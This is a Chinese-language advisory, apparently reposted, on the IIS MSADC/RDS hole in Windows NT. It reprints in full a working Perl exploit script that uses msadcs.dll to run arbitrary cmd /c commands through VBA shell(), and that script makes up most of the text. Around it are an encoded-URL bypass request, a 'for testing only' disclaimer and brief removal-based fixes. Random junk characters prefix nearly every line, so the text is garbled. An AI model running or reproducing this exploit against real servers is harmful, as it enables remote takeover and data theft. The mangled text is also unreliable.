IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
e1`)3-f `FYtiv?G 涉及程序：
1FD7~S| Microsoft NT server
L^5&GcHP0 lNh=>D Pu 描述：
(Y'UvZlM%P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
q-3J.VLJ5H hHfe6P
| 详细：
#"o6OEy$A# 如果你没有时间读详细内容的话，就删除:
c+E//X| c:\Program Files\Common Files\System\Msadc\msadcs.dll
DV7<n&P 有关的安全问题就没有了。
(}*\ { s=q%:uCO 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
]s*[Lib n~"g'Y 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U5On-T5 关于利用ODBC远程漏洞的描述，请参看:
JO& ;bT< iJCY /*C} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X|-v0 f
OUlxeo / 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
d6t)gG*5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp I5TQ>WJbf rS F;Lp)} 这里不再论述。
7 zJrT5 EaM"=g 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
@o4z3Q@ o7c%\v[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X a{~a3W y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
uGuc._}= |z!q
r }i &# vk4C_8m #将下面这段保存为txt文件，然后: "perl -x 文件名"
3P+4S|@q(4 Ks49$w< #!perl
[0% yJH #
~J:$g u~` # MSADC/RDS 'usage' (aka exploit) script
80FCe(U #
|aI|yq) # by rain.forest.puppy
dD v{9D, #
AND7jEn # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
K)Df}fVOc # beta test and find errors!
a gmeiJT 2p$n*|T&c use Socket; use Getopt::Std;
%Lh-aP{[e getopts("e:vd:h:XR", \%args);
hb /8Q k8Inb X[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[Vrc:%J k 26\HV if (!defined $args{h} && !defined $args{R}) {
/32Ta print qq~
SE-!|WR Usage: msadc.pl -h <host> { -d <delay> -X -v }
lF; ziF -h <host> = host you want to scan (ip or domain)
Ur _ S
[I -d <seconds> = delay between calls, default 1 second
-,K*~ z.l -X = dump Index Server path table, if available
ZfF IX5Qd\ -v = verbose
qO:U]\P -e = external dictionary file for step 5
[ E$$nNs $\0cJ CQ3 Or a -R will resume a command session
o
: .~X VRtbHam ~; exit;}
ppwd-^f3j 2k.S[?) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XsAY4WTS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?Ia4H if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X0^zw^2W if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k bfuvJ> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
U -Af7qO if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
uHfhRc9 W9
n^ T+2 if (!defined $args{R}){ $ret = &has_msadc;
&GXtdO>;Zv die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t!6\7Vm/ y-E 1]4?}) print "Please type the NT commandline you want to run (cmd /c assumed):\n"
M?E9N{t8)a . "cmd /c ";
Q9` s_4 $in=<STDIN>; chomp $in;
b*lK T]D, $command="cmd /c " . $in ;
O"@?U #Y;.>mF if (defined $args{R}) {&load; exit;}
+<)tql* 0^J*+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\1=T
sU&^ &try_btcustmr;
hWe}' L- f?2zLE>u print "\nStep 2: Trying to make our own DSN...";
f dd~e52f &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5|y ZEwq 'jh2**i 34 print "\nStep 3: Trying known DSNs...";
II.<S C &known_dsn;
X32RZ9y b2a'K czV print "\nStep 4: Trying known .mdbs...";
8&?^XcJ*x &known_mdb;
qv.[ k<~a> 2;&mkc K' if (defined $args{e}){
c}YJqhk0J print "\nStep 5: Trying dictionary of DSN names...";
V %i<;C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
TAXd,z N 60~v
t04 print "Sorry Charley...maybe next time?\n";
V78Mq:7d exit;
2}D,df'W4 w+Ad$4Pf" ##############################################################################
gs$3)t cL6 6gOEL sub sendraw { # ripped and modded from whisker
i:g{{Uuv sleep($delay); # it's a DoS on the server! At least on mine...
?(]a*~rx my ($pstr)=@_;
C#Y,r)l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D[V`^CTu die("Socket problems\n");
ymHKcQ if(connect(S,pack "SnA4x8",2,80,$target)){
<inl{CX/ select(S); $|=1;
2q+la|1Cr print $pstr; my @in=<S>;
C,[ L/! select(STDOUT); close(S);
X
d!C p return @in;
BeAk 21xb } else { die("Can't connect...\n"); }}
O ,l\e 3; 3 Q@9S ##############################################################################
sc<kiL 2K
Pqu:lv sub make_header { # make the HTTP request
Mk<m6E$L my $msadc=<<EOT
TV?
^c?{5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
OE6#YT User-Agent: ACTIVEDATA
2%bhW,?I Host: $ip
,Ak ^nX Content-Length: $clen
C:Vv!u Connection: Keep-Alive
R j-jAH x 96}#0' ADCClientVersion:01.06
Lg8 ]dBXu Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*<w3" iq DQcWq'yY^ --!ADM!ROX!YOUR!WORLD!
? %93b ,7 Content-Type: application/x-varg
JW- |<CJ Content-Length: $reqlen
#&k8TY =<Hy"4+?. EOT
se!g4XEWD ; $msadc=~s/\n/\r\n/g;
[;<<4k(nL return $msadc;}
av$ *jGPGnSo ##############################################################################
b"^\)|*4; &ryiG sub make_req { # make the RDS request
+9TV: T my ($switch, $p1, $p2)=@_;
g083J}08 my $req=""; my $t1, $t2, $query, $dsn;
Ln :lC(
' y !F:m=x< if ($switch==1){ # this is the btcustmr.mdb query
%,XI]+d $query="Select * from Customers where City=" . make_shell();
TWtC-w I; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$ ]Jf0_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
R^u c%onP *g*VC O elsif ($switch==2){ # this is general make table query
Trpgx $query="create table AZZ (B int, C varchar(10))";
nVNs ][ $dsn="$p1";}
'w:bs ! $<:'!#% elsif ($switch==3){ # this is general exploit table query
Jlz9E|*qV $query="select * from AZZ where C=" . make_shell();
RTZ:U@
$dsn="$p1";}
(,shiK[5f %Or2iuO%-, elsif ($switch==4){ # attempt to hork file info from index server
JfSdUWxT $query="select path from scope()";
I-TlrW=t $dsn="Provider=MSIDXS;";}
FQ1arUOFW,
Ll?g.z" elsif ($switch==5){ # bad query
@bE~@4mOu $query="select";
$ND90my $dsn="$p1";}
p x0Sy | @FU~1u3d $t1= make_unicode($query);
A4}#U=3tI $t2= make_unicode($dsn);
0j uDuE? $req = "\x02\x00\x03\x00";
]?M)NRk%S $req.= "\x08\x00" . pack ("S1", length($t1));
kwO eHdV^ $req.= "\x00\x00" . $t1 ;
A=0@UqM $req.= "\x08\x00" . pack ("S1", length($t2));
?/)lnj)e{ $req.= "\x00\x00" . $t2 ;
j"i#R1T $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1c /
X return $req;}
!M,h7 9NM x vdY
8%S ##############################################################################
D@:"f?K> G 8n oQ_- sub make_shell { # this makes the shell() statement
l!/!?^8|f return "'|shell(\"$command\")|'";}
$ 3]b>v I'?6~Sn3 ##############################################################################
Z~ _8P ET e- sub make_unicode { # quick little function to convert to unicode
tq0;^L my ($in)=@_; my $out;
O < >#>[ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9N^+IZ@l return $out;}
ex!XB$X ?3Pazc]+| ##############################################################################
fy`+Efuj UDM yy Vd sub rdo_success { # checks for RDO return success (this is kludge)
SYeE) mI
my (@in) = @_; my $base=content_start(@in);
ZJ9x6|q if($in[$base]=~/multipart\/mixed/){
%6Rn4J^^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?d~]Wd !z return 0;}
4 QO/ff[ o 16?C@` S> ##############################################################################
$HxS:3D%D Fh^ox"3 c sub make_dsn { # this makes a DSN for us
}I] W'<jY my @drives=("c","d","e","f");
=!<^^6LZ print "\nMaking DSN: ";
E0<)oQ0Xa> foreach $drive (@drives) {
4T%cTH:.9N print "$drive: ";
obj!I 7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
aiJnfU]W "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2uEhOi0I . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
gJK KR]4* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
cLAe sj return 0 if $2 eq "404"; # not found/doesn't exist
]Z/R!y?l"G if($2 eq "200") {
C 0>=x{,v foreach $line (@results) {
VVFV 8T4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
SHwRX?
B| } return 0;}
-zTEL (r Y1WHy *s? ##############################################################################
z&>|*C.Y FQ!Oxlq,Q sub verify_exists {
n]v7V&mj\ my ($page)=@_;
r@yD8 D \ my @results=sendraw("GET $page HTTP/1.0\n\n");
m:3J!1 return $results[0];}
J.W Ho
c -bm, :Iy! ##############################################################################
+sRP<as r :NH6tAL sub try_btcustmr {
vd(dNu&,< my @drives=("c","d","e","f");
hbfsHT my @dirs=("winnt","winnt35","winnt351","win","windows");
lV)G @l[1 hlC%HA foreach $dir (@dirs) {
]4o?BkL print "$dir -> "; # fun status so you can see progress
{xToz]YA foreach $drive (@drives) {
5 VKcV&D print "$drive: "; # ditto
sUbF R q $reqlen=length( make_req(1,$drive,$dir) ) - 28;
n p=kTJ $reqlenlen=length( "$reqlen" );
`|?]CkP $clen= 206 + $reqlenlen + $reqlen;
0bSz4<} o:9$UV[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
]F+K|X9- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
puF%=i else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
akCIa'>t ]u0 Jd#@ ##############################################################################
#w*"qn#2Uz i-.c= M sub odbc_error {
qtY
m!g my (@in)=@_; my $base;
.8(%4ejJ( my $base = content_start(@in);
fGTOIi@# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8lb-} = $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8 gI\ zgS $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L/ fRF"V $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3e
73l return $in[$base+4].$in[$base+5].$in[$base+6];}
H(&Z :{L print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
KuXkI;63J> print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)$_,?*fq: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t !~ S9c m|1n
x ##############################################################################
!M^\f
N1 ;{Jb6'K1h sub verbose {
RHI&j~ my ($in)=@_;
`)tA
YH return if !$verbose;
]7vf#1 i< print STDOUT "\n$in\n";}
xqv[?
? Ow) R|/e / ##############################################################################
t N2 W8d (3W&A M sub save {
2*Q3 .2 Z my ($p1, $p2, $p3, $p4)=@_;
8 [R1A open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Q.ukY @L.' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
C{&)(#*L close OUT;}
g`3H(PVg $"fzBM?5 ##############################################################################
u E.^w;~2= km4g}~N</ sub load {
%w:'!X>< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$ eX* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Y|RdzC M @p=<IN>; close(IN);
HH zEQV Lh $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/buW AX 1 $target= inet_aton($ip) || die("inet_aton problems");
]]/lC print "Resuming to $ip ...";
}p{;^B $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
c ,$mWTC if($p[1]==1) {
W>$BF[x!{ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
s OQc x\dK $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
RH~sbnZ)F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4m /TW) if (rdo_success(@results)){print "Success!\n";}
O9e.=l else { print "failed\n"; verbose(odbc_error(@results));}}
j ug'g elsif ($p[1]==3){
L|J~9FM if(run_query("$p[3]")){
2-s 7cXs print "Success!\n";} else { print "failed\n"; }}
TvM24Orct elsif ($p[1]==4){
4E'|.tt( if(run_query($drvst . "$p[3]")){
qpTm print "Success!\n"; } else { print "failed\n"; }}
r<|nwFJ exit;}
-[$ &s FD ?4sJw: ##############################################################################
ohsH 2]C w_3xKnMT\ sub create_table {
<jFSj=cIL my ($in)=@_;
"mt p0 $reqlen=length( make_req(2,$in,"") ) - 28;
1i+FL'' $reqlenlen=length( "$reqlen" );
WW6yFriuW $clen= 206 + $reqlenlen + $reqlen;
7E(%9W6P my @results=sendraw(make_header() . make_req(2,$in,""));
f` J|>Vk return 1 if rdo_success(@results);
f~*K {7 my $temp= odbc_error(@results); verbose($temp);
HamEIL-l. return 1 if $temp=~/Table 'AZZ' already exists/;
u-39r^`5 return 0;}
LzE/g)> `p1DaV ##############################################################################
6|oWaA\gI :t5uDKZ_j) sub known_dsn {
1|/'"9v # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
L=m:/qQL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v:A:37#I "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Fx5ZwT
t "banner", "banners", "ads", "ADCDemo", "ADCTest");
Z(UD9wY5 m N8 M'0i? foreach $dSn (@dsns) {
u< kD} print ".";
h?A'H RyL~ next if (!is_access("DSN=$dSn"));
&-4
?! if(create_table("DSN=$dSn")){
8Z!*[c>K-? print "$dSn successful\n";
0Ve%.k if(run_query("DSN=$dSn")){
k(v"B@0
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X'@f"= v9k print "Something's borked. Use verbose next time\n";}}} print "\n";}
x<
S\D& xD0NZ~w% ##############################################################################
pn s +y oAnigu; sub is_access {
lC2?sD$ my ($in)=@_;
piuKV U $reqlen=length( make_req(5,$in,"") ) - 28;
2Y;!$0_rv $reqlenlen=length( "$reqlen" );
HL8(lPgS $clen= 206 + $reqlenlen + $reqlen;
J | q^+K my @results=sendraw(make_header() . make_req(5,$in,""));
C #$6O8O my $temp= odbc_error(@results);
>fbo
r'| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[ro t return 0;}
w%rg\E t9Vb~ Ubdb ##############################################################################
ALAL( f` ]?#
#))RUS sub run_query {
C
Oa .xyp my ($in)=@_;
Z8fJ{uOIL $reqlen=length( make_req(3,$in,"") ) - 28;
6qD fcs $reqlenlen=length( "$reqlen" );
_4!{IdR $clen= 206 + $reqlenlen + $reqlen;
VWD.J my @results=sendraw(make_header() . make_req(3,$in,""));
6WO7+M;z return 1 if rdo_success(@results);
K
plM['uF my $temp= odbc_error(@results); verbose($temp);
9t}J|09i return 0;}
wibwyzo 9N1#V
K ##############################################################################
yp?w3|` 4; .<dOED{v sub known_mdb {
v~aLTI my @drives=("c","d","e","f","g");
&M= 3{[ my @dirs=("winnt","winnt35","winnt351","win","windows");
y<v|X2 my $dir, $drive, $mdb;
fa yKM my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0+|>-b/% k{{hZ/om # this is sparse, because I don't know of many
2!idy]vy_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
7$#rNYa,z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
i7(~>6@| "\\system32\\certmdb.mdb",
44j,,k "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,m3":{G:t. (,U 7 R^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
wsI 5F&R, "\\cfusion\\cfapps\\forums\\forums_.mdb",
S?2YJ l 8B "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:~i+tD "\\cfusion\\cfapps\\security\\realm_.mdb",
2md.S$V$, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}biCQ* {' "\\cfusion\\database\\cfexamples.mdb",
4]IKh,jT "\\cfusion\\database\\cfsnippets.mdb",
>"b[r "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3 u4:l "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0:#7M}U "\\cfusion\\brighttiger\\database\\cleam.mdb",
I5Q~T5Ar "\\cfusion\\database\\smpolicy.mdb",
ZBC@xM&- "\\cfusion\\database\cypress.mdb",
([tG y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
E$R _rX4x "\\website\\cgi-win\\dbsample.mdb",
Wxc^_iqA1 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
A'`P2Am "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{Y^c*Iqn ); #these are just
M_; w %FV foreach $drive (@drives) {
hR LKb} foreach $dir (@dirs){
9ClF <5?M foreach $mdb (@sysmdbs) {
, $ mLL print ".";
^9s"FdB]24 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
8lpzSJP4k print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
l<Lz{)OR if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5Fh8*8u6hL print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
2$3kKY6$e } else { print "Something's borked. Use verbose next time\n"; }}}}}
=nw0# ' (qbc;gBy foreach $drive (@drives) {
-? Ejbko foreach $mdb (@mdbs) {
5c)<'EP print ".";
M orW\7-} if(create_table($drv . $drive . $dir . $mdb)){
"d2LyQy print "\n" . $drive . $dir . $mdb . " successful\n";
j 37: if(run_query($drv . $drive . $dir . $mdb)){
h)P]gT0f/ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
C-&#r."L } else { print "Something's borked. Use verbose next time\n"; }}}}
@| P3 }
4[Z1r~t\L xp(mB7;: ##############################################################################
% ~ G0[fG '/dTqg*W sub hork_idx {
^h`!f vyH print "\nAttempting to dump Index Server tables...\n";
Y6+k9 $h print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
sb 8dc $reqlen=length( make_req(4,"","") ) - 28;
hg{ &Y(J!U $reqlenlen=length( "$reqlen" );
XA ?WUR[e $clen= 206 + $reqlenlen + $reqlen;
s
8Jj6V my @results=sendraw2(make_header() . make_req(4,"",""));
5"[y FmP* if (rdo_success(@results)){
9X.g g$P my $max=@results; my $c; my %d;
bIq-1
Y( for($c=19; $c<$max; $c++){
;*_I,|A:Xr $results[$c]=~s/\x00//g;
"AV1..mu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
coSTZ&0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
D)h["z|F $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
7f[8ED[4 $d{"$1$2"}="";}
E
$ <;@ foreach $c (keys %d){ print "$c\n"; }
]yw_n^@ } else {print "Index server doesn't seem to be installed.\n"; }}
8.P XTOhVL g:;Ya?5 N ##############################################################################
{rs6"X ^ F>TYVxQ sub dsn_dict {
e
W9)@nVJ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Q.*'H_Y while(<IN>){
O~nBz):2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.&Y,D-h}7| next if (!is_access("DSN=$dSn"));
@ca#U-:g if(create_table("DSN=$dSn")){
tnA_!$Y
a print "$dSn successful\n";
/E; ;j9 if(run_query("DSN=$dSn")){
MM=W9# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
B #;s(O print "Something's borked. Use verbose next time\n";}}}
V yRW ' print "\n"; close(IN);}
|:dCVd<du }k4` ##############################################################################
i Zsau2K P*}9,VoY sub sendraw2 { # ripped and modded from whisker
O7! fI'R sleep($delay); # it's a DoS on the server! At least on mine...
2LtU;}7s my ($pstr)=@_;
0c%@e2(N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C# ZmgR die("Socket problems\n");
yLV2>kq if(connect(S,pack "SnA4x8",2,80,$target)){
R (t!xf print "Connected. Getting data";
V+P8P7y37B open(OUT,">raw.out"); my @in;
,<`|-oa select(S); $|=1; print $pstr;
cw*(L5b u while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
TJeou# =/ close(OUT); select(STDOUT); close(S); return @in;
V]+o)A$ } else { die("Can't connect...\n"); }}
tU8g(ep,o Z $ p^v*y ##############################################################################
de*,MkZN ;a#}fX sub content_start { # this will take in the server headers
#nxER my (@in)=@_; my $c;
mrhs KmH for ($c=1;$c<500;$c++) {
Q= )"om if($in[$c] =~/^\x0d\x0a/){
*>?):-9"6N if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B]&Lh~ Im else { return $c+1; }}}
0+$ hkd n return -1;} # it should never get here actually
~e,f )? PR48~K,? ##############################################################################
Dwm@E\^ihm D }=/w+ sub funky {
buMiJzU my (@in)=@_; my $error=odbc_error(@in);
'iMHAP;N if($error=~/ADO could not find the specified provider/){
IM l9\U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
'vqj5 YTj exit;}
zav* if($error=~/A Handler is required/){
f\U? :8 3 print "\nServer has custom handler filters (they most likely are patched)\n";
D5o+ 0R exit;}
D2hAlV)i( if($error=~/specified Handler has denied Access/){
(cPeee%Q print "\nServer has custom handler filters (they most likely are patched)\n";
c,b`N0dOKL exit;}}
hfl% r9o +ZD[[+ ##############################################################################
*DPTkMQN 1t~S3Q||>] sub has_msadc {
= B3! jir my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ww a41z my $base=content_start(@results);
$9j>VGf= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
PHe~{"|d? return 0;}
Vz=j )[ ovo? lE-a0 ########################
#`YxoY ` ZmYa.4'L IPr*pQ{;c 解决方案：
<;TP@-a 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~/]\iOL 2、移除web 目录: /msadc
